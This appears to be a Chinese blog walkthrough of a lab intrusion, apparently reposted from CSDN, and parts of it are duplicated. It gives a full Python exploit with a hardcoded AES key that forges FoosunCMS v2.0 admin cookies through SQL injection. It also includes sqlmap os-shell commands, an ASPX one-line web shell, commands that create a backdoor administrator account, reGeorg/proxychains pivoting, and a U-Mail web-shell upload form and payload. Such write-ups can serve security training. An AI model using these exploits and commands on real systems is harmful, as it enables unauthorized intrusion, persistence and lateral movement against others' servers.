内网漫游拓扑图
利用登录绕过漏洞进行后台
目标网站ip:192.168.31.55,将目标网站ip绑定到本地hosts文件下的www.test.com下(防止直接访问ip网站加载不全),访问www.test.com得到网站首页,发现是一个html静态网站
经过点击发现该网站是FoosunCMS搭建的经过点击发现该网站是FoosunCMS搭建的
版本为v2.0,存在可以利用的漏洞,绕过管理员账号信息验证,直接进入后台,可谓是非常危险的一个利用漏洞,访问网站后台地址:/manage/Index.aspx
搜索发现FoosunCMS v2.0有一个登录绕过漏洞,尝试登录绕过,访问下面链接得到UserNumber
http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin
发现得将UserNumber加密后拼接成cookie即可成功登录
直接用sql注入拿到UserNumber,然后再与UserName等拼接,构造cookie直接以管理员权限登录,Exp代码如下:
#coding:utf-8
import argparse
import urllib
import traceback
import base64
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
###############################
##search keyword:##
##inurl:/manage/Login.aspx ##
###############################
KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
return parser.parse_args()
def run(url):
try:
usernumber = get_usernumber(url)
if usernumber is not None:
encrypt_cookie = generate_cookie(usernumber)
#写入cookie中
write_cookie(url, encrypt_cookie)
except Exception:
traceback.print_exc()
def get_usernumber(url):
fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
content = urllib.urlopen(fullurl).read()
index = content.index("<option value=\"")
if index != -1:
usernumber = content[index+15:]
usernumber = usernumber[0: content.index("\"")+1]
print "Get usernumber success. Usernumber is :", usernumber
return usernumber
else:
print "Get usernumber fail"
return None
def pkcs7padding(data):
bs = AES.block_size
padding = bs - len(data) % bs
padding_text = chr(padding) * padding
return data + padding_text
def generate_cookie(usernumber):
orgstr = "%s,admin,0,1,False"%(usernumber,)
cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
ciphertext = base64.b64encode(ciphertext)
return ciphertext
def write_cookie(url, ciphercookie):
print "Generate Cookie[SITEINFO]:", ciphercookie
print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)
if __name__ == '__main__':
args = parse_args()
try:
if args.url is not None:
run(args.url[0])
except Exception, e:
print "python Foosun_exp.py -u [url]"
执行后成功得到加密的绕过后台登录cookie
将脚本打印的加密Cookie用EditThisCookie写入浏览器Cookie
然后访问http://www.test.com/manage/Index.aspx即可成功进入后台
注意:
如果在执行exp脚本的时候出现以下情况,则需要安装python Crypto.Cipher加密包
安装加密包
pip install pycryptodome
利用文件上传漏洞获取shell
进入后台后发现控制面板>系统参数设置>上传处可修改上传文件允许格式,在里面加入aspx格式
尝试利用sqlmap获取交互shell
http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin
sqlmap.py -u"http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin" --os-shell
内网漫游
通过查看发现其开启了3389端口,利用前面添加的管理员账号密码远程登录3389,发现在administrator管理员用户下桌面上有一个记事本发现了两个账号密码
vi /etc/proxychains.conf
python reGeorgSocksProxy.py -p 2333 -l 0.0.0.0 -u http://www.test.com/files/tunnel.aspx
proxychains firefox
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<FORM name=form1 method=post action="http://172.19.23.123/webmail/client/mail/index.php?module=operate&action=attach-upload" enctype=multipart/form-data>
ʏԫτݾú<input type="file" name="Filedata" size="30">
<INPUT type=submit value=ʏԫ name=Submit>
http://172.19.23.123/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk
1.访问目标系统的WEB端口,然后通过在线指纹识别查询目标系统的CMS系统为FoosunCMS,该网站存在历史漏洞后台注入漏洞,且版本为v2.0
http://www.test.com
2.访问以下地址,可获得管理员的UserNumber
http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin
3。直接访问后台页面
http://www.test.com/manage/Index.aspx
4.直接用sql注入拿到UserNumber,然后再与UserName等拼接,构造cookie直接以管理员权限登录,Exp代码如下:
#coding:utf-8
import argparse
import urllib
import traceback
import base64
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
###############################
##search keyword:##
##inurl:/manage/Login.aspx ##
###############################
KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
return parser.parse_args()
def run(url):
try:
usernumber = get_usernumber(url)
if usernumber is not None:
encrypt_cookie = generate_cookie(usernumber)
#写入cookie中
write_cookie(url, encrypt_cookie)
except Exception:
traceback.print_exc()
def get_usernumber(url):
fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
content = urllib.urlopen(fullurl).read()
index = content.index("<option value=\"")
if index != -1:
usernumber = content[index+15:]
usernumber = usernumber[0: content.index("\"")+1]
print "Get usernumber success. Usernumber is :", usernumber
return usernumber
else:
print "Get usernumber fail"
return None
def pkcs7padding(data):
bs = AES.block_size
padding = bs - len(data) % bs
padding_text = chr(padding) * padding
return data + padding_text
def generate_cookie(usernumber):
orgstr = "%s,admin,0,1,False"%(usernumber,)
cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
ciphertext = base64.b64encode(ciphertext)
return ciphertext
def write_cookie(url, ciphercookie):
print "Generate Cookie[SITEINFO]:", ciphercookie
print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)
if __name__ == '__main__':
args = parse_args()
try:
if args.url is not None:
run(args.url[0])
except Exception, e:
print "python Foosun_exp.py -u [url]"
执行后成功得到加密的cookie
访问以下地址,并替换cookie信息,成功登陆到后台
http://www.test.com/manage/login.aspx?urls
5.发现后台后发现控制面板>系统参数设置>上传处可修改上传文件允许格式,在里面加入aspx格式
6.在插件管理>广告系统>添加广告处可直接上传aspx一句话,并返回了的文件路径
7.通过菜刀成功连接到一句话,通过自带的命令终端,发现目标权限不是system权限
8.尝试利用sqlmap获取交互shell,成功获得交互shell并且是system权限,这里的网站路径,可以在菜刀目录查看到
sqlmap.py -u"http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin" --os-shell,写入一句需要对特殊符号的转义进行处理
echo "<%@ page language="jscript"%><%eval(request.item["pass"],"unsafe");%'>>"c:\innetpub\wwwrot\d.aspx"
9.通过sqlmap获取交互shell,添加用户,并将用户添加到管理员组
net user dimg Passw0rd /add
net localgroup administrators dimg /add
10.利用Sqlmap交互shell发现该主机ip为192.168.1.123,而不是我们所访问的192.168.31.55,那么有可能是利用了端口转发把不在同一网段的ip转发到了同一网段
12.通过菜刀功能的文件预览功能,发现桌面上存在一个my iefe的记事本,其内容是mail邮箱的账号和密码以及ikuni的密码
13.通过NAMP扫描目标系统存在8080端口,并访问8080端口,发现无法登录,可能是限制内网IP登录
14.这里通过远程桌面登录到www.test.com系统上。其中对应的外网IP地址为www.test.com, 映射的内网IP地址为192.168.1.123
15.这里也可以通过上线CS,并开启socks4代理,通过代理访问http://www.test.com:8080,成功登录后台,发现还有一个网段172.19.23.0/24
16.将eGeorg-master文件下tunnel.aspx通过菜刀上传到目标系统中,并进行访问
17.在攻击机下执行以下命令启动代理成功
python reGeorgSocksProxy.py -p 2333 -l 0.0.0.0 -u http://www.test.com/files/tunnel.aspx
18,在攻击机下
vi /etc/proxychains.conf
127.0.0.1 2333
20.使用NMAP加载proxychains 进行端口扫描,发现存在172.19.23.123:80,为MAIL服务
proxychains nmap 172.19.23.0/24
21.通过Firefox浏览器加载proxychains 成功打开http://172.19.23.123:80,通过泄露的用户名和密码可成功登陆
22.发现这个网站是一个u-mailCMS,我们发现u-mail爆发过一个很严重的文件上传漏洞
23.使用代理打开构造的html页面,然后上传一个后缀为jpg的php大马,上传成功后回显出文件file_id信息
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<FORM name=form1 method=post action="http://172.19.23.123/webmail/client/mail/index.php?module=operate&action=attach-upload" enctype=multipart/form-data>
ʏԫτݾú<input type="file" name="Filedata" size="30">
<INPUT type=submit value=ʏԫ name=Submit>
24.利用下面payload获取到当前登录的user_id为3
http://172.19.23.123/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk
25.利用爆出来的user_id和file_id构造出上传的大马文件路径,并利用PHP解析漏洞,路径后面加/.php成功解析
原文连接:https://blog.csdn.net/weixin_44991517/article/details/91355442